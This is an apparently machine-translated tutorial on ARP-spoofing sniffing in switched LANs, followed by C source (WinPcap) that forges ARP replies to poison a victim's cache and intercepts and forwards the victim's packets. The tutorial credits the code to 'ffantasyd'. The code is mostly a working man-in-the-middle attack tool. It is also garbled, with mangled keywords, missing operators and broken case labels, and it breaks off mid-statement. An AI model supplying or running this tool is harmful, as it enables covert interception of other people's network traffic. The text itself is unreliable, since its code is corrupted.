Snifer is a tool for transmitting data in the network. To achieve this, the general approach is to set the network card as a mixed mode, so you can sniff the data that passes the native network card (this general SNIFFER principle is not hereby illustrated). But this SNIFFER has a shortcoming, that is, it is only available for shared LAN, which is invalid for the switched local area network. Because in the switched local area network, the data in the network will not pass through each host's network card, so for the switched local area network, it is necessary to sniff with another more active method, that is, based on ARP spoofing sniff Explore. We assume that there are three hosts A, B, and C located in the same switched LAN, the attacker is in host A, while host B, C are communicating. Now A hopes to sniff the data of B-> C, so A can be disguised into c to do ARP spoofing - send a forged ARP answer package to b, IP address in the answer package is the IP address of C and the MAC address The MAC address of A. This answering package will refresh B's ARP cache, let B think A is C, saying in detail, is the MAC address of the IP address that the B thinks is the MAC address of the host A. In this way, B wants to send to C actually send it to A, and reaches the purpose of sniffing. In addition, since the ARP cache is dynamically updated, we must constantly send a forged ARP response package to B to prevent the IP-MAC mapping relationship in the ARP cache from Changed. (Here is the knowledge of ARP spoof, if you have doubts, please refer to the relevant information.) Of course, after this sniffing, C should not receive the data sent by B, that is, B and C communications are equivalent to being interrupted. Therefore, after we sniffing the data, we must forward this data to C so that the communication of B and C is not interrupted. The above is based on the basic principle of ARP spoofing, in this sniffer, the sniffer A is actually inserted into B-> C, and the data of B is sent to A, then forward A forward to C. The data transmission relationship is as follows: b -----> A -----> C B <---------- C Of course, if you still want to sniff C- > B data, you can also insert a in C-> B so that all data of B, C communications can be snirable. Below, it is still explained using a specific code.
In this code, IPHLPAPI and WinPCAP programming, please refer to the relevant information: #include "stdafx.h" #include "winsock2.h" #include "packet32.h" #include "wchar.h" #include "stdio .h "#include" iphlpapi.h "#pragma Comment (lib," packet.lib ") # Pragma Comment (lib," ws2_32.lib ") # Pragma Comment (lib," iphlpapi.lib ") #define ndis_packet_type_directed 0x0001 // direct mode #pragma pack (push, 1) typedef struct _et_header // Ethernet header {unsigned char eh_dst [6]; unsigned char eh_src [6]; unsigned short eh_type;} ET_HEADER; typedef struct _arp_header // ARP header portion {unsigned short arp_hdr; unsigned short arp_pro; unsigned char arp_hln; unsigned char arp_pln; unsigned short arp_opt; unsigned char arp_sha [6]; unsigned long arp_spa; unsigned char arp_tha [6]; unsigned long arp_tpa;} ARP_HEADER; typedef struct _ip_header {Char m_ver_hlen; // 4 bit version number, 4-digit IP header length char m_tos; ushort m_tlen; usort m_ident; ushort m_flag_frag; // 3 bits, 1 bit DF, 1 bit MF) , 13-bit slice offset char m_ttl; char m_protocol; ushort m_cksum; Ulong m_SIP; ulong m_dip;} ip_header; TypeDef struct info // will be passed to the information structure of the listening thread {LPADAPTER LPADAPTER; Char SimulateIP [20]; char Targetip [20];} info; #pragma pack (pop) Void usage () {Printf ("************************************************); Printf (" * Made by ffantasyd * / n "); Printf (" * qq: 76889713 * / n "); Printf (" * email: ffantasyd@163.com * / n "); printf (" ******** *************************** / N "); Printf (" This Program Have 2 param: p2psniffer targetip simulation);} Void Strtomac (Char * Str, Char * MAC) // Customized String String into MAC Address {Char * Str1; Int i; Int Low, High; CHAR TEMP;
For (i = 0; i <6; i ) {str1 = STR 1; switch (* str) {case 'a': high = 10; Break; Case ': high = 11; Break; Case' C ': high = 12; case' d ': high = 13; Break; Case' E ': high = 14; Break; Case' f ': high = 15; brefault: temp = * str; high = ATOI (& TEMP);} Switch (* str1) {CASE 'A': Low = 10; Break; Case 'B': Low = 11; Break; Case 'C': Low = 12; Break; Case 'D': Low = 13; Break; Case 'E': Low = 14; Break; Case 'F': Low = 15; Break; Default: Temp = * Str1; Low = ATOI (& TEMP);} Mac [i] = high * 16 Low; Str = 2;}} void getLocalMac (Char * localmac, char * localip) // Get the machine MAC address {ulong numofadapter = 0; char Mac [5] [20] = {0}, IP [5 ] [20] = {0}; GetAdaptersInfo (NULL, & numOfAdapter); // acquired card information if (numOfAdapter = 0!) {IP_ADAPTER_INFO * pAdapterInfo = (IP_ADAPTER_INFO *) malloc (numOfAdapter * sizeof (IP_ADAPTER_INFO)); memset (pAdapterInfo , 0, Numofadapter * SizeOf (IP_ADAPTER_INFO); GetAdaptersInfo (PadapterInfo, & n UMOFADAPTER; Printf ("Please select the local mac! / n"); for (int i = 0; ((i <5) && (padapterinfo! = null); i ) {sprintf (mac [i], " % 02x% 02x% 02x% 02x% 02x% 02X ", PadapterInfo-> Address [0], PadapterInfo-> Address [1], PadapterInfo-> Address [2], PadapterInfo-> Address [3], PadapterInfo-> Address [4], PadapterInfo-> Address [5]); Memcpy (IP [i], PadapterInfo-> ipaddresslist.ipaddress.string, strlen (PadapterInfo-> ipaddresslist.ipaddress.string);
Printf ("% D,% S -% S / N", i 1, IP [i], mac [i]); PadapterInfo = PadapterInfo-> Next;}} int index = 0; scanf ("% D ", & index); Memcpy (localmac, mac [index-1], strlen (mac [index-1])); MEMCPY (localip, ip [index-1], strlen (IP [index-1]); RETURN } Bool getRemoteMac (Char * RemoteMac, Char * RemoteIP) // Get Remote Host Mac Address {Wsadata Wsadata; Ulong RemoteAddr = 0, Macaddrlen = 6; Char RemoteMactemp [6] = {0}; if (WsaStartup (MakeWord , 1), & WSADATA)! = 0) {PrintF ("WSAStartup Error! / N"); Return False;} RemoteAddr = inet_addr (Remoteip); IF (Sendarp (RemoteAddr, (unsigned long) Null, (pulong) & remotemAcTemp, & macaddrlen)! = NO_ERROR) {Printf ("Get Remote Mac Failed! / N"); Return False;} Memcpy (RemoteMac, Remotemactemp, 6); / * for (INT i = 0; i <6; i ) {Printf ("% .2x", RemoteMac [i]);} printf ("/ n"); * / return true;} Void Assay (LPADAPTER LPADAPTER, LPPACKET LPPACKET, CHAR * TARGETIP, CHAR * Simulate) // Analysis Receive Packet {char * buf; bpf_hdr * lpbpfhdr; et_header * lpethdr; in_addr addr = {0}; buf = (char *) LPPACKET-> BUFFER; lpbpfhdr = (BPF_HDR *) BUF; LPETHDR = (ET_HEADER *) (BUF LPBPFHDR-> BH_HDRLEN); if (lpethdr-> eh_type == HTONS (0x0800)) // Decision is IP packet {ip_header * lpiphdr = (ip_header *) (BH_HDRLEN SIZEOF (ET_HEADER)); CHAR SOURCE_IP [20] = {0}, dest_ip [20] = {0}; addr.s_un.s_addr = lpiphdr-> m_sip; memcpy (Source_IP, INT_NTOA) Addr, Strlen (INT_NTOA (AddR))); MEMSET (& Addr, 0, SIZEOF (IN_ADDR)); addr.s_un.s_addr = lpiphdr-> m_dr = lpiphdr-> m_dip; memcpy (dest_IP, INET_NTOA (AddR), Strlen (inet_ntoa (addr) )); If ((StrCMP (Source_IP, Targetip) == 0) &&
(Strcmp (DEST_IP, Simulate) == 0)) {Printf ("TheRe IS A IP Packet FROM% S TO% S! / N", Targetip, Simulate; // The following is the package that sniffed to the truly Destination: Char Mac [6] = {0}; lppacket lpsendpacket = null; char sendbuf [512] = {0}; getRemoteMac (Mac, Simulate); MEMCPY (LPETHDR-> EH_DST, MAC, 6); MEMCPY sendBuf, lpEthdr, sizeof (ET_HEADER)); memcpy (sendBuf sizeof (ET_HEADER), lpIphdr, ntohs (lpIphdr-> m_tlen)); lpSendPacket = PacketAllocatePacket (); PacketInitPacket (lpSendPacket, sendBuf, 512); PacketSetNumWrites (lpAdapter, 2 ); PacketSendPacket (lpAdapter, lpSendPacket, TRUE); PacketFreePacket (lpSendPacket); // release PACKET structured pointer}}} DWORD WINAPI listen (void * param) // listener thread {lPADAPTER lpAdapter; INFO * pInfo = (INFO *) param LPPACKET LPPACKET; Char BUF [512] = {0}; lPadapter = pinfo-> lpadapter; // printf ("% s,% s / n", pinfo-> near_ip, pinfo-> far_ip); PacketSethWFilter (LPADAPTER, NDIS_PACKET_TYPE_DIRECTED); // Setting the NIC to Direct PacketSetBuff (LPADAPTER, 1024); // Set the network card to receive the buffer size PacketSetSetReadTimeout (LPADAPTER, 2); // Set the "Rest" time after receiving a package, while (1) {lppacket = packetAllocatePacket (); // Assign memory packetinitpacket (LPPACKET, BUF, 512); // Initialization Packet structure pointer PacketRecEceptRecePacket (LPADAPTER , LPPACKET, TRUE); // Received Packet Assay (LPADAPTER, LPPACKET, PINFO-> Targetip, Pinfo-> Simulate); // Analyze Packet // Reset LPPACKET: PacketFreePacket after reception (BUF, 0, 512);} packetfreepacket; // Release LPPACKET RETURN 1;} int main (int Argc, char * argv []) {char s_mac [6] = {0}; lPadapter LPADAPTER; LPPACKET LPPACKET; Et_Header ET_HEADER; ARP_HEADER ARP_HEADER; static char adapter_list [10] [1024]; wchar adapter_name [2048]; Wchar * Name1, * name2;
Ulong adapter_length = 1024; ulong i, adapter_num = 0; char buffer [512] = {0}; info param = {0}; usage (); if (argc! = 3) {RETURN-1;} // Get Mac Address: Char localmac [20] = {0}, localip [20] = {0}; getLocalmac (localmac, localip); char RemoteMac [6] = {0}; IF (RemoteMac, Argv [1]) = = False) {return -1;} // Open the adapter: // acquire the name of all adapters. IF (packetGetAdapter_name, & adapter_length) == false) {// adapter_name: A name for storing adapters Buffer. Each character / / between a adapter name is separated by one '/ 0', and the two adapter names are separated by two '/ 0', and there are more than two // '/ 0'. It is considered that the adapter name has been completed.
// adapter_Length: This buffer size Printf ("packetGetAdapternames error:% D / N", getLastError ()); return -1;} name1 = adapter_name; Name2 = adapter_name; i = 0; // Put Adapter_name Adapter Name, Copy to Adapter_List [], i starts from 0 for the first while ((* Name1! = '/ 0') || (* (Name1-1)! = '/ 0')) {IF ( * Name1 == '/ 0') {MEMCPY (Adapter_List [i], Name2, 2 * (Name1-Name2)); Name2 = Name1 1; i ;} Name1 ;} // Default Open the first Package LPADAPTER = (LPadapter) Packetopenadapter ((lptstr) Adapter_List [0]); if (! Lpadapter || (lpadapter-> hfile == invalid_handle_value)) {Printf ("Unable to open the driver, error code:% lx / n", getLastError ()); Return -1;} // Start listening thread: param.lpadapter = lPadapter; memcpy (param.targetip, argv [1], strlen (argv [1])); Memcpy (param.simulateip, argv [2 ], Strlen (Argv [2])); CreateThread (NULL, 0, Listen, & param, 0, null); // Forged ARP Answer Package: Strtomac (Localmac, S_MAC); // Local_Mac Memcpy (et_header.eh_src, s_mac , 6); Memcpy (et_header.eh_dst, remotemac, 6); ET _Header.eh_type = htons (0x0806); // type 0x0806 means this is ARP package arp_header.arp_hdr = htons (0x0001); // Hardware address type Ethernet address ARP_HEADER.ARP_PRO = HTONS (0x0800); // Protocol address type For the IP protocol arp_header.arp_hln = 6; // Hardware address length is 6 arp_header.arp_pln = 4; // Protocol address length is 4 arp_header.arp_opt = htons (0x0002); // Identifies ARP Answer ARP_HEADER.ARP_SPA = INET_ADDR ( argv [2]); // source_ip memcpy (arp_header.arp_sha, et_header.eh_src, 6); arp_header.arp_tpa = inet_addr (argv [1]); // target_ip memcpy (arp_header.arp_tha, et_header.eh_dst, 6); Memcpy (buffer, & et_header); Memcpy (buffer